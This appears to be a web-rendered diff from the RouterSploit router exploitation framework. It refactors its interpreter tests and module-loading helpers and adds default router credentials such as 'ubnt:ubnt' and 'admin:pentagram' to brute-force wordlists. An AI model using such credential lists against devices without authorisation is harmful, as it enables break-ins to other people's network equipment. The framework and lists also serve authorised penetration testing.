...@@ -9,11 +8,7 @@ except ImportError: ...@@ -9,11 +8,7 @@ except ImportError:
import mock import mock
from routersploit.interpreter import RoutersploitInterpreter from routersploit.interpreter import RoutersploitInterpreter
from routersploit.exploits import Exploit from routersploit.exceptions import RoutersploitException
class TestExploit(Exploit):
pass
class RoutersploitInterpreterTest(unittest.TestCase): class RoutersploitInterpreterTest(unittest.TestCase):
...@@ -22,8 +17,8 @@ class RoutersploitInterpreterTest(unittest.TestCase): ...@@ -22,8 +17,8 @@ class RoutersploitInterpreterTest(unittest.TestCase):
RoutersploitInterpreter.setup = mock.Mock() RoutersploitInterpreter.setup = mock.Mock()
self.interpreter = RoutersploitInterpreter() self.interpreter = RoutersploitInterpreter()
self.interpreter.current_module = mock.MagicMock() self.interpreter.current_module = mock.MagicMock()
self.raw_prompt_default = "\033[4mrsf\033[0m > " self.raw_prompt_default = "\001\033[4m\002rsf\001\033[0m\002 > "
self.module_prompt_default = lambda x: "\033[4mrsf\033[0m (\033[91m{}\033[0m) > ".format(x) self.module_prompt_default = lambda x: "\001\033[4m\002rsf\001\033[0m\002 (\001\033[91m\002{}\001\033[0m\002) > ".format(x)
def prepare_prompt_env_variables(self, raw_prompt=None, module_prompt=None): def prepare_prompt_env_variables(self, raw_prompt=None, module_prompt=None):
if raw_prompt: if raw_prompt:
...@@ -197,14 +192,14 @@ class RoutersploitInterpreterTest(unittest.TestCase): ...@@ -197,14 +192,14 @@ class RoutersploitInterpreterTest(unittest.TestCase):
def test_suggested_commands_with_loaded_module(self): def test_suggested_commands_with_loaded_module(self):
self.assertEqual( self.assertEqual(
self.interpreter.suggested_commands(), self.interpreter.suggested_commands(),
['run', 'back', 'set ', 'show ', 'check', 'debug', 'exit'] # Extra space at the end because of following param ['run', 'back', 'set ', 'show ', 'check', 'exit'] # Extra space at the end because of following param
) )
def test_suggested_commands_without_loaded_module(self): def test_suggested_commands_without_loaded_module(self):
self.interpreter.current_module = None self.interpreter.current_module = None
self.assertEqual( self.assertEqual(
self.interpreter.suggested_commands(), # Extra space at the end because of following param self.interpreter.suggested_commands(), # Extra space at the end because of following param
['use ', 'debug', 'exit'] ['use ', 'exit']
) )
@mock.patch('importlib.import_module') @mock.patch('importlib.import_module')
...@@ -255,14 +250,17 @@ class RoutersploitInterpreterTest(unittest.TestCase): ...@@ -255,14 +250,17 @@ class RoutersploitInterpreterTest(unittest.TestCase):
self.interpreter.current_module = None self.interpreter.current_module = None
self.interpreter.modules = ['doo/pa/foo/bar'] self.interpreter.modules = ['doo/pa/foo/bar']
module_path = "creds/foo/bar/baz" module_path = "creds/foo/bar/baz"
mocked_import_module.side_effect = ImportError mocked_import_module.side_effect = ImportError("Not working")
self.interpreter.command_use(module_path) self.interpreter.command_use(module_path)
mocked_import_module.assert_called_once_with('routersploit.modules.creds.foo.bar.baz') mocked_import_module.assert_called_once_with('routersploit.modules.creds.foo.bar.baz')
mocked_print_error.assert_called_once_with("Error during loading 'routersploit/modules/creds/foo/bar/baz' "
"module. It should be valid path to the module. " mocked_print_error.assert_called_once_with(
"Use <tab> key multiple times for completion.") "Error during loading 'routersploit/modules/creds/foo/bar/baz'\n\n"
"Error: Not working\n\n"
"It should be valid path to the module. Use <tab> key multiple times for completion."
)
self.assertEqual(self.interpreter.current_module, None) self.assertEqual(self.interpreter.current_module, None)
@mock.patch('importlib.import_module') @mock.patch('importlib.import_module')
...@@ -282,15 +280,18 @@ class RoutersploitInterpreterTest(unittest.TestCase): ...@@ -282,15 +280,18 @@ class RoutersploitInterpreterTest(unittest.TestCase):
self.interpreter.command_use(module_path) self.interpreter.command_use(module_path)
mocked_import_module.assert_called_once_with('routersploit.modules.exploits.foo.bar') mocked_import_module.assert_called_once_with('routersploit.modules.exploits.foo.bar')
mocked_print_error.assert_called_once_with("Error during loading 'routersploit/modules/exploits/foo/bar' " mocked_print_error.assert_called_once_with(
"module. It should be valid path to the module. " "Error during loading 'routersploit/modules/exploits/foo/bar'\n\n"
"Use <tab> key multiple times for completion.") "Error: Exploit\n\n"
"It should be valid path to the module. Use <tab> key multiple times for completion."
)
self.assertEqual(self.interpreter.current_module, None) self.assertEqual(self.interpreter.current_module, None)
@mock.patch('__builtin__.print') @mock.patch('__builtin__.print')
def test_command_show_info(self, mock_print): def test_command_show_info(self, mock_print):
metadata = { metadata = {
'targets': 'target_desc', 'devices': 'target_desc',
'authors': 'authors_desc', 'authors': 'authors_desc',
'references': 'references_desc', 'references': 'references_desc',
'description': 'description_desc', 'description': 'description_desc',
...@@ -308,7 +309,7 @@ class RoutersploitInterpreterTest(unittest.TestCase): ...@@ -308,7 +309,7 @@ class RoutersploitInterpreterTest(unittest.TestCase):
mock.call('name_desc'), mock.call('name_desc'),
mock.call('\nDescription:'), mock.call('\nDescription:'),
mock.call('description_desc'), mock.call('description_desc'),
mock.call('\nTargets:'), mock.call('\nDevices:'),
mock.call('target_desc'), mock.call('target_desc'),
mock.call('\nAuthors:'), mock.call('\nAuthors:'),
mock.call('authors_desc'), mock.call('authors_desc'),
...@@ -433,140 +434,6 @@ class RoutersploitInterpreterTest(unittest.TestCase): ...@@ -433,140 +434,6 @@ class RoutersploitInterpreterTest(unittest.TestCase):
"module_required" "module_required"
) )
@mock.patch('os.walk')
@mock.patch('importlib.import_module')
@mock.patch('inspect.getmembers')
def test_load_modules(self, mock_getmembers, mock_import_module, mock_walk):
mock_walk.return_value = (
('/Abs/Path/routersploit/routersploit/modules', ['asmax', 'creds'], ['__init__.py', '__init__.pyc']),
('/Abs/Path/routersploit/routersploit/modules/creds', [], ['__init__.py', '__init__.pyc', 'ftp_bruteforce.py', 'ftp_bruteforce.pyc']),
('/Abs/Path/routersploit/routersploit/modules/exploits/asmax', [], ['__init__.py', '__init__.pyc', 'asmax_exploit.py', 'asmax_exploit.pyc']),
)
mock_import_module.side_effect = [1, 2, 3, 4, 5]
mock_getmembers.side_effect = [
[],
[],
[("FTPBruteforce", TestExploit), ('SomeClass', mock.MagicMock), ('Exploit123', TestExploit)],
[],
[("Exploit", TestExploit), ('SomeClass', mock.MagicMock)]
]
self.interpreter.load_modules()
mock_walk.assert_called_once_with(self.interpreter.modules_directory)
self.assertEqual(
mock_import_module.mock_calls,
[
mock.call('routersploit.modules.__init__'),
mock.call('routersploit.modules.creds.__init__'),
mock.call('routersploit.modules.creds.ftp_bruteforce'),
mock.call('routersploit.modules.exploits.asmax.__init__'),
mock.call('routersploit.modules.exploits.asmax.asmax_exploit')
]
)
self.assertEqual(
mock_getmembers.mock_calls,
[
mock.call(1, inspect.isclass),
mock.call(2, inspect.isclass),
mock.call(3, inspect.isclass),
mock.call(4, inspect.isclass),
mock.call(5, inspect.isclass),
]
)
self.assertEqual(
self.interpreter.modules,
[
'creds.ftp_bruteforce',
'exploits.asmax.asmax_exploit'
]
)
@mock.patch('os.walk')
@mock.patch('importlib.import_module')
@mock.patch('inspect.getmembers')
def test_load_modules_import_error(self, mock_getmembers, mock_import_module, mock_walk):
mock_walk.return_value = (
('/Abs/Path/routersploit/routersploit/modules', ['asmax', 'creds'], ['__init__.py', '__init__.pyc']),
('/Abs/Path/routersploit/routersploit/modules/creds', [], ['__init__.py', '__init__.pyc', 'ftp_bruteforce.py', 'ftp_bruteforce.pyc']),
('/Abs/Path/routersploit/routersploit/modules/exploits/asmax', [], ['__init__.py', '__init__.pyc', 'asmax_exploit.py', 'asmax_exploit.pyc', 'asmax_multi.py', 'asmax_multi.pyc']),
)
import_error = ImportError("No module doopaa")
mock_import_module.side_effect = [1, 2, import_error, 4, 5, import_error]
mock_getmembers.side_effect = [
[],
[],
[],
[("Exploit", TestExploit), ('SomeClass', mock.MagicMock)]
]
self.interpreter.load_modules()
mock_walk.assert_called_once_with(self.interpreter.modules_directory)
self.assertEqual(
mock_import_module.mock_calls,
[
mock.call('routersploit.modules.__init__'),
mock.call('routersploit.modules.creds.__init__'),
mock.call('routersploit.modules.creds.ftp_bruteforce'),
mock.call('routersploit.modules.exploits.asmax.__init__'),
mock.call('routersploit.modules.exploits.asmax.asmax_exploit'),
mock.call('routersploit.modules.exploits.asmax.asmax_multi')
]
)
self.assertEqual(
mock_getmembers.mock_calls,
[
mock.call(1, inspect.isclass),
mock.call(2, inspect.isclass),
mock.call(4, inspect.isclass),
mock.call(5, inspect.isclass),
]
)
self.assertEqual(
self.interpreter.modules,
[
'exploits.asmax.asmax_exploit'
]
)
self.assertEqual(
self.interpreter.modules_with_errors,
{
"routersploit.modules.creds.ftp_bruteforce": import_error,
'routersploit.modules.exploits.asmax.asmax_multi': import_error,
}
)
@mock.patch('routersploit.utils.print_info')
@mock.patch('routersploit.utils.print_error')
def test_command_debug(self, mocked_print_error, mocked_print_info, ):
self.interpreter.modules_with_errors = {
"foo.bar.exploit": "foo foo error",
"foo.baz.exploit": "foo baz error",
"doo.paa.exploit": "doo paa error",
}
self.interpreter.command_debug()
self.assertItemsEqual(
mocked_print_info.mock_calls,
[
mock.call("foo.baz.exploit"),
mock.call("foo.bar.exploit"),
mock.call("doo.paa.exploit"),
]
)
self.assertItemsEqual(
mocked_print_error.mock_calls,
[
mock.call("doo paa error", '\n'),
mock.call("foo foo error", '\n'),
mock.call("foo baz error", '\n'),
]
)
def test_command_exit(self): def test_command_exit(self):
with self.assertRaises(KeyboardInterrupt): with self.assertRaises(KeyboardInterrupt):
self.interpreter.command_exit() self.interpreter.command_exit()
......
from __future__ import print_function
from __future__ import absolute_import
import unittest
try:
import unittest.mock as mock
except ImportError:
import mock
from routersploit.utils import index_modules
class UtilsTest(unittest.TestCase):
@mock.patch('os.walk')
def test_load_modules_01(self, mock_walk):
mock_walk.return_value = (
('/Abs/Path/routersploit/routersploit/modules', ['asmax', 'creds'], ['__init__.py', '__init__.pyc']),
('/Abs/Path/routersploit/routersploit/modules/creds', [], ['__init__.py', '__init__.pyc', 'ftp_bruteforce.py', 'ftp_bruteforce.pyc']),
('/Abs/Path/routersploit/routersploit/modules/exploits/asmax', [], ['__init__.py', '__init__.pyc', 'asmax_exploit.py', 'asmax_exploit.pyc']),
)
path = 'path/to/module'
modules = index_modules(path)
mock_walk.assert_called_once_with(path)
self.assertEqual(
modules,
[
'creds.ftp_bruteforce',
'exploits.asmax.asmax_exploit'
]
)
@mock.patch('os.walk')
def test_load_modules_import_error_02(self, mock_walk):
mock_walk.return_value = (
('/Abs/Path/routersploit/routersploit/modules', ['asmax', 'creds'], ['__init__.py', '__init__.pyc']),
('/Abs/Path/routersploit/routersploit/modules/creds', [], ['__init__.py', '__init__.pyc', 'ftp_bruteforce.py', 'ftp_bruteforce.pyc']),
('/Abs/Path/routersploit/routersploit/modules/exploits/asmax', [], ['__init__.py', '__init__.pyc', 'asmax_exploit.py', 'asmax_exploit.pyc', 'asmax_multi.py', 'asmax_multi.pyc']),
)
path = 'path/to/module'
modules = index_modules(path)
mock_walk.assert_called_once_with(path)
self.assertEqual(
modules,
[
'creds.ftp_bruteforce',
'exploits.asmax.asmax_exploit',
'exploits.asmax.asmax_multi',
]
)
if __name__ == '__main__':
unittest.main()
\ No newline at end of file
from __future__ import print_function from __future__ import print_function
from __future__ import absolute_import
import threading import threading
from functools import wraps import os
from distutils.util import strtobool
import sys import sys
import random import random
import string import string
import socket
from functools import wraps
from distutils.util import strtobool
import importlib
import requests import requests
from .exceptions import RoutersploitException
from . import modules as rsf_modules
MODULES_DIR = rsf_modules.__path__[0]
print_lock = threading.Lock() print_lock = threading.Lock()
...@@ -19,6 +28,49 @@ colors = { ...@@ -19,6 +28,49 @@ colors = {
} }
def index_modules(modules_directory=MODULES_DIR):
""" Return list of all exploits modules """
modules = []
for root, dirs, files in os.walk(modules_directory):
_, package, root = root.rpartition('routersploit/modules/'.replace('/', os.sep))
root = root.replace(os.sep, '.')
files = filter(lambda x: not x.startswith("__") and x.endswith('.py'), files)
modules.extend(map(lambda x: '.'.join((root, os.path.splitext(x)[0])), files))
return modules
def import_exploit(path):
""" Import exploit module
:param path: absolute path to exploit e.g. routersploit.modules.exploits.asus.pass_bypass
:return: exploit module or error
"""
try:
module = importlib.import_module(path)
return getattr(module, 'Exploit')
except (ImportError, AttributeError, KeyError) as err:
raise RoutersploitException(
"Error during loading '{}'\n\n"
"Error: {}\n\n"
"It should be valid path to the module. "
"Use <tab> key multiple times for completion.".format(humanize_path(path), err)
)
def iter_modules(modules_directory=MODULES_DIR):
""" Iterate over valid modules """
modules = index_modules(modules_directory)
modules = map(lambda x: "".join(['routersploit.modules.', x]), modules)
for path in modules:
try:
yield import_exploit(path)
except RoutersploitException:
pass
def pythonize_path(path): def pythonize_path(path):
""" Replace argument to valid python dotted notation. """ Replace argument to valid python dotted notation.
...@@ -125,11 +177,7 @@ def multi(fn): ...@@ -125,11 +177,7 @@ def multi(fn):
_, _, feed_path = self.target.partition("file://") _, _, feed_path = self.target.partition("file://")
try: try:
file_handler = open(feed_path, 'r') with open(feed_path) as file_handler:
except IOError:
print_error("Could not read file: {}".format(self.target))
return
for target in file_handler: for target in file_handler:
target = target.strip() target = target.strip()
if not target: if not target:
...@@ -139,12 +187,16 @@ def multi(fn): ...@@ -139,12 +187,16 @@ def multi(fn):
self.port = port self.port = port
else: else:
self.port = original_port self.port = original_port
print_status("Attack against: {}:{}".format(self.target, self.port)) print_status("Attack against: {}:{}".format(self.target,
self.port))
fn(self, *args, **kwargs) fn(self, *args, **kwargs)
self.target = original_target self.target = original_target
self.port = original_port self.port = original_port
file_handler.close()
return # Nothing to return, ran multiple times. return # Nothing to return, ran multiple times.
except IOError:
print_error("Could not read file: {}".format(self.target))
return
else: else:
return fn(self, *args, **kwargs) return fn(self, *args, **kwargs)
return wrapper return wrapper
...@@ -338,6 +390,9 @@ def http_request(method, url, **kwargs): ...@@ -338,6 +390,9 @@ def http_request(method, url, **kwargs):
except requests.RequestException as error: except requests.RequestException as error:
print_error(error) print_error(error)
return return
except socket.error as err:
print_error(err)
return
except KeyboardInterrupt: except KeyboardInterrupt:
print_info() print_info()
print_status("Module has been stopped") print_status("Module has been stopped")
......
...@@ -160,12 +160,14 @@ admin:netadmin ...@@ -160,12 +160,14 @@ admin:netadmin
admin:noway admin:noway
admin:operator admin:operator
admin:password admin:password
admin:pentagram
admin:pwp admin:pwp
admin:radius admin:radius
admin:rmnetlm admin:rmnetlm
admin:root admin:root
admin:secure admin:secure
admin:setup admin:setup
admin:sky
admin:smallbusiness admin:smallbusiness
admin:smcadmin admin:smcadmin
admin:superuser admin:superuser
...@@ -384,6 +386,7 @@ topicalt:password ...@@ -384,6 +386,7 @@ topicalt:password
topicnorm:password topicnorm:password
topicres:password topicres:password
tw:tw tw:tw
ubnt:ubnt
user:pass user:pass
user:password user:password
user:public user:public
......
...@@ -108,7 +108,6 @@ MPE ...@@ -108,7 +108,6 @@ MPE
MServer MServer
Manager Manager
Master Master
Mau’dib
Menara Menara
MiniAP MiniAP
Multi Multi
...@@ -146,6 +145,7 @@ RSX ...@@ -146,6 +145,7 @@ RSX
SECURITY SECURITY
SERVICE SERVICE
SESAME SESAME
sky
SKY_FOX SKY_FOX
SMDR SMDR
SSA SSA
...@@ -388,6 +388,7 @@ password1 ...@@ -388,6 +388,7 @@ password1
passwort passwort
patrol patrol
pbxk1064 pbxk1064
pentagram
pento pento
pepper pepper
permit permit
...@@ -479,6 +480,7 @@ truetime ...@@ -479,6 +480,7 @@ truetime
trustno1 trustno1
tslinux tslinux
tuxalize tuxalize
ubnt
uplink uplink
user user
visual visual
......
...@@ -256,6 +256,7 @@ tiger ...@@ -256,6 +256,7 @@ tiger
topicalt topicalt
topicnorm topicnorm
topicres topicres
ubnt
user user
vcr vcr
veda veda
......
#!/usr/bin/env python #!/usr/bin/env python2
from routersploit.interpreter import RoutersploitInterpreter from routersploit.interpreter import RoutersploitInterpreter
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment